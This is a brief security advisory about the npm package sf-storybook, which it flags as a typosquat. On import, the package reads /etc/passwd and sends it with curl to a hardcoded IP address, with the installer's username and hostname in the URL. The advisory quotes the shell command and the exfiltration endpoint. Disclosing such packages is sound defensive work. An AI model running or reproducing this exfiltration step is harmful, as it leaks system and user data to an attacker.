    Summary: Malicious code in sf-storybook (npm)

    Details: Source: amazon-inspector (a5a1a34bbf1dc84732509c5c5bfbd65adcd442b2665367d0c1bd39dc8301001c) On `require('sf-storybook')`, index.js shells out via child_process to run `cat /etc/passwd >./passwd.txt` and then POSTs the file contents via curl to `http://144.126.158.177:4325/$(whoami)/$(hostname)/` over plaintext HTTP. The package leaks the installer's username, hostname, and full /etc/passwd contents to a hardcoded bare-IP attacker endpoint. The package name impersonates the `storybook` ecosystem, ships empty author/description metadata, and contains only this exfiltration payload with no functionality matching its implied purpose — a typosquat lure with an embedded credential/host recon stealer.
